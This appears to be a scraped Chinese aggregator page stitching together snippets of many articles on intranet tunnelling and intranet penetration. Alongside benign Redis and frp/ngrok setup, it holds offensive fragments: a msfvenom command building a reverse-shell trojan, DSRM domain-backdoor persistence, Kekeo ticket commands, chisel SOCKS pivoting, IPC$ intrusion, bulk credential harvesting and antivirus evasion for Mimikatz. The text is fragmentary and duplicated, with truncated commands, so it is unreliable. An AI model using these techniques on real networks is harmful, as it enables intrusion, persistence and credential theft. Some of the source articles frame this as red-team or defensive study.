wget http://download.redis.io/releases/redis-6.0.1.tar.gz tar xf redis-6.0.1.tar.gz cd redis-6.0.1/.../tmp/redis-6.0.1/redis.conf /data/jsdesign/apps/redis/conf/ sudo vim /data/jsdesign/apps/redis/conf/...[Service] User=redis Group=redis ExecStart=/data/jsdesign/apps/redis/bin/redis-server /data/jsdesign.../apps/redis/conf/redis.conf ExecStop=/data/jsdesign/apps/redis/bin/redis-cli shutdown Restart=always...redis sudo chown -R redis:redis /data/jsdesign/apps/redis 4 启动和测试redis 4.1 启动redis服务 sudo systemctl start
公网访问内网Redis数据库 本地安装了Redis数据库，只能在局域网内访问，怎样从公网也能访问本地Redis数据库？ 本文将介绍具体的实现步骤。 1....准备工作 1.1 安装并启动Redis数据库 默认安装的Redis数据库端口是6379。 2....k 8866daebe02846t88s166733595fff5d 2.4 访问映射后的公网地址 在数据库客户端上输入 主机名：holer.org 端口号： 65014 这样就可以从公网访问本地的Redis
下面介绍如何在内网虚拟机的linux中搭建redis并通过cpolar内网穿透实现公网访问 1..../releases/redis-6.2.6.tar.gz 下载好后,解压redis tar xzf redis-6.2.6.tar.gz 解压好后,进入redis目录进行编译 cd redis-6.2.6...配置redis数据库 配置redis后台运行,编辑配置文件redis.conf vim /usr/local/redis-6.2.6/redis.conf 将daemonize no 改成daemonize.../bin/redis-server redis.conf 3. 内网穿透 cpolar是一款内网穿透软件,使用简单，安全可靠。...cpolar官网：https://www.cpolar.com/ 3.1 安装cpolar内网穿透 Linux支持使用一键脚本命令安装 curl -L https://www.cpolar.com/
内网穿透 目录 内网穿透 内网穿透工具 学了网络之后，我们知道了公网和私网。私网是不能在公网传输和通信的。我们一个学校，一个小区，都是在自己单独的私网里面。...内网穿透 这就要说到内网穿透了！ 如下图，有这么一个环境。小明和小王分别是清华和北大的学生。他们都各自处在自己学校的内网中，他们的ip地址可以是一样的，都是192.168.10.2。...因为在路由器体内有一个私网ip和端口的对照表，每个私网ip对应一个端口，所以根据端口就能知道消息是发送给内网中的哪台主机了。...192.168.10.10:22222 10000 当我们访问百度这个事情做完之后的一定时间内，Session记录就会在路由器的体内消失，这个10000端口可以继续分配给其他用户 那么现在我们再来分析一下位于内网中的我们如何和同样是内网中的小伙伴通过...内网穿透工具 常用的内网穿透的工具有：NAT APP基于ngrok的国内高速内网转发工具 这款软件可以把你内网的ip和端口映射成一个公网的ip和端口，这样，我们就可以实现内网穿透了！
内网穿透 目录 内网穿透 内网穿透工具 学了网络之后，我们知道了公网和私网。私网是不能在公网传输和通信的。我们一个学校，一个小区，都是在自己单独的私网里面。...内网穿透 这就要说到内网穿透了！ 如下图，有这么一个环境。小明和小王分别是清华和北大的学生。他们都各自处在自己学校的内网中，他们的ip地址可以是一样的，都是192.168.10.2。...因为在路由器体内有一个私网ip和端口的对照表，每个私网ip对应一个端口，所以根据端口就能知道消息是发送给内网中的哪台主机了。...那么现在我们再来分析一下位于内网中的我们如何和同样是内网中的小伙伴通过QQ通信。...内网穿透工具 常用的内网穿透的工具有：NAT APP基于ngrok的国内高速内网转发工具 这款软件可以把你内网的ip和端口映射成一个公网的ip和端口，这样，我们就可以实现内网穿透了！
内网也指局域网，是指某一区域内由多台计算机互联而成的计算机组，组网的范围通常是数千米内。 ? ?...在用路由器连接的内网中，可以将网络划分为三个区域：安全级别最高的内网；安全级别中等的DMZ；安全级别最低的外网（Internet）。 ? ?...在配置一个拥有DMZ的网络时，通常需要定义如下访问控制策略 内网可以访问外网：内网用户需要自由地访问外网。...DMZ不能访问内网：如不执行，攻击者攻陷DMZ时，厄尼旺将无法收到保护 DMZ不能访问外网：有例外 内网可以分为办公区和核心区（横向移动攻击的优先查找目标） 域中计算机的分类 域控制器...附带一份内网学习思维导图 ? ?
在用路由器连接的内网中，可以将网络划分为三个区域：安全级别最高的内网；安全级别中等的DMZ；安全级别最低的外网（Internet）。 ?...在配置一个拥有DMZ的网络时，通常需要定义如下访问控制策略 内网可以访问外网：内网用户需要自由地访问外网。...防火墙需要进行NAT 内网可以访问DMZ：此策略时用户可以使用或者管理DMZ中地服务器 外网不能访问内网：防火墙的基本策略，如需访问，通过V**的方式 外网可以访问DMZ：需要由防火墙来完成对外地址到服务器实际地址的转换...DMZ不能访问内网：如不执行，攻击者攻陷DMZ时，厄尼旺将无法收到保护 DMZ不能访问外网：有例外 内网可以分为办公区和核心区（横向移动攻击的优先查找目标） 域中计算机的分类 域控制器...附带一份内网学习思维导图 ?
前言： 内网穿透的方式不少，有人会也有人不太懂，最简单的，对新手友好的就是花生壳，但是要钱，对穷人不友好，这里我们就用操作稍微有点麻烦的但是免费的frp。...（这里不讲配置的一些理论理解了，麻烦，大家可以百度内网穿透的理论知识） 我们需要生成一下木马文件 msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp
image.png 视频内容 内网渗透之内网隧道构建 1080P超清版 微信公众号平台本身会对素材进行二次压缩，会导致画面出现不清晰等情况。
文章前言 随着企业信息化程度的加深，内网环境逐渐成为攻击者的关注的重点目标，在内网渗透的过程中权限维持是不可或缺的关键环节之一，它往往决定了攻击者能否在目标系统中长时间潜伏，获取敏感信息或者造成更大范围的破坏...本文旨在深入探讨内网渗透中的权限维持技术，包括其基本概念、常见手段以及防御措施 权限维持 DSRM域后门 基本介绍 DSRM(Directory Services Restore Mode，目录服务恢复模式...Users\Al1ex.HACKE\Desktop\Al1ex.pfx Step 4：然后把pfx文件拷贝到我们自己的计算机，双击导入，输入刚刚我们输的密码 Step 5：然后在我们本地的计算机做个代理进内网...，并且把DNS也代理进去(dns设置为内网的域控) Step 6：使用Kekeo获取用户的NTLM tgt::pac /subject:Al1ex /castore:current_user /domain...，其实内网主机有window，也有Linux，所以读者不用过于局限于内网手法进行权限维持(当然这种作为首选属实极好)，至于window下的一系列维权也可以进行尝试操作，例如：WMI后门、CLR维权、COM
三、chisel隧道搭建 0x01 chisel进行ssh内网穿透 首先需要三台linux主机，在这里使用VPS作为chisel服务器端，然后使用kali作为内网主机，使用另一台主机作为我们的攻击者主机...socks代理，然后使用SocksCap等工具进行内网扫描或者内网渗透。...这就导致一个问题，如果我直接在VPS上执行完命令之后，默认监听127.0.0.1的1080端口，这样的话，我只能用VPS去访问内网主机，如果想要在win10上通过SocksCap设置代理访问内网是行不通的...socks流量实现对内网主机的访问。...(3):使用Socks代理访问内网 使用浏览器 ? ? 成功访问到内网的通达OA。 使用SocksCap进行内网访问 ? 代理搭建成功，流量可以正常进入内网。
即使用139（TCP）端口；而在Windows2000中，SMB除了基于NBT实现，还可以直接通过445端口实现 IPC$入侵，即通过使用Windows系统默认启动的IPC$共享获得计算机控制权的入侵，在内网中及其常见
外网 访问内网服务器。...# frp（提供软件服务） 通过在具有公网 IP 的节点上部署 frp 服务端，可以轻松地将内网服务穿透到公网，同时提供诸多专业的功能特性，这包括： 客户端服务端通信支持 TCP、KCP 以及 Websocket...# 第三步：配置 服务端和客户端 目录介绍：frpc前缀的文件是内网服务需要的；frps前缀的文件是公网IP需要的。...# 公网服务需要配置frps.ini文件 [common] bind_port = 7000 参数描述： bind_port：表示frp服务对应端口，后续需要在内网服务器对应frpc.ini文件也对应上...# 内网服务需要配置frpc.ini文件 按需求进行配置信息，除基础信息配置common外，其他的根据自己需求进行摘选（每一个标签都是一个独立的模块）。
无论是通过外网打点，还是水坑钓鱼，进入内网后的第一步，也是最重要的一步就是信息收集，而且信息收集往往是一直穿插在整个内网渗透过程中。...https://github.com/klionsec/RedTeamer批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码" 比如,各种数据库连接配置文件,各类服务自身的配置文件(redis...%I | findstr "TTL=" >> pinglive.txt 扫描的话建议直接在内网进行扫描，速度和准确率都比较有保障。...这里直接介绍需要在内网机器中执行的相关命令： 此工具的导出相对来说比较暴力，且目前此工具 exe 原版已经被识别并被各种杀软查杀，包括微软win10自带的杀软 Windows Defender 。...端口识别 扫描内网中同时开放389和53端口的机器。 端口：389服务：LDAP、ILS说明：轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
0x00 Preface 内网渗透主要是基于前期外围打点getshell的webserver，通过收集webserver上的信息，然后对其他内网主机进行口令上的攻击，当然也有一些基于漏洞的攻击。...内网相关概念这里不再进行介绍，大家可以自行百度，诸如什么是域、域与工作组的区别、什么是DC、什么是AD等。当然，概念是生涩难懂的，结合实际环境会有助于理解。...某内网靶场的详细教程：Vulnstack（一） 内网渗透过程中经常会涉及到内网穿透，如何理解内网穿透以及端口转发、端口映射等相关知识可以参考：如何从零构建对内网穿透的理解 实操部分写的比较草率，主要是为了增强认知...一个是为了保障安全（内网与外网相隔绝），另一个就是资源共享，毕竟大家都是一条船上的人。SMB 协议就是用于实现各种资源的共享的，其中就包括IPC连接中的命名管道。...利用场景： 已拿下内网中一台主机的权限（webserver），掌握该主机的域用户名和密码，知道域内其他用户名。
前言 在内网渗透过程中，会碰到远程控制soft或者其他，这里针对远程控制软件做如下总结。 远程控制软件 向日葵篇 向日葵查看版本 向日葵（可以攻击） 针对向日葵的话其实如果有本地安装的话，是......前言 在内网渗透过程中，会碰到远程控制soft或者其他，这里针对远程控制软件做如下总结。
内网渗透-常用工具免杀 Mimikatz免杀 Mimikatz其实并不只有抓取口令这个功能，它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。...由于mimikatz的使用说明网上资料很多，这里就不多加介绍了，随着这两年hw行动越来越多，企事业单位也都开始注重内网安全，有预算的会上全套的终端安全、企业版杀软或者EDR，就算没有预算的也会装个360
内网穿透工具主要用于让外部网络能够访问内部网络中的资源，这在网络调试、远程工作、私有项目展示以及其他诸多场景中具有很大的便利性。...以下是几款常用且好用的内网穿透工具的介绍： 第一款：Ngrok 官网地址：https://ngrok.com/ ↗ 优点： Ngrok 提供了一个安全的隧道，能够让你的本地主机连接到公共网络。...Fast Reverse Proxy) 官网地址：https://github.com/fatedier/frp ↗ 优点： Frp 是一个使用 Go 语言编写的高性能的反向代理应用，可以帮助你轻松地进行内网穿透...它支持多种类型的网络协议，并且可以实现 TCP、UDP、HTTP、HTTPS、WebSocket 等协议的内网穿透。 配置文件简单明了，易于理解和修改。 它是开源的，可以免费使用和修改。...以上就是这几款内网穿透工具的简单介绍，它们各有优点，可以根据你的具体需求选择适合你的工具。
确定IP段 通常内网地址分三段：10.0.0.0/8、172.16.0.0/12以及192.168.0.0/16。...在没有做任何操作之前，我们可以大概知道内网的IP地址段，不过也有些公司，在内网又会有公网IP的情况，也就是说在内网中可以访问到的IP段有很多。 下面就主要介绍一下收集IP段的方式。...IP地址，那是因为内网没有主机与我这台主机相连，你想象一下，如果我这台主机是台服务器，那么内网用户访问服务器时必定会有连接出现，这也是我们收集内网IP段信息的一种方式。...，第一时间，我们应该先探测一下内网的dns服务是否存在dns域传送漏洞，如果存在，我们就可以剩下很多时间并且可以获取非常全的域名列表，这个列表基本很全的包含了内网所有的存活主机。...，所以查看这些信息也有助于我们发现内网的IP段。
(Windows的场景) LCX实现本地端口转发(Linux的场景) LCX实现SSH到内网主机(公网服务器是Windows) LCX实现SSH到内网主机(公网服务器是Linux) LCX实现3389到内网主机...内网中存在另外一台主机，这里假设内网存在一台Web服务器。然后，我们现在要将公网Web服务器设置为代理，通过公网服务器的80端口，访问和探测内网Web服务器的信息。...Netsh实现SSH到内网主机(远程端口转发) 现在我们有这么一个环境，我们获得了公网服务器的权限，并且通过公网服务器进一步的内网渗透，得到了内网主机的权限。拓扑图如下。...LCX实现SSH到内网主机(公网服务器是Windows) 现在我们有这么一个环境，我们获得了公网服务器的权限，并且通过公网服务器进一步的内网渗透，得到了内网主机的权限。拓扑图如下。...Windows服务器的权限，并且通过公网服务器进一步的内网渗透，得到了内网Linux主机的权限。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
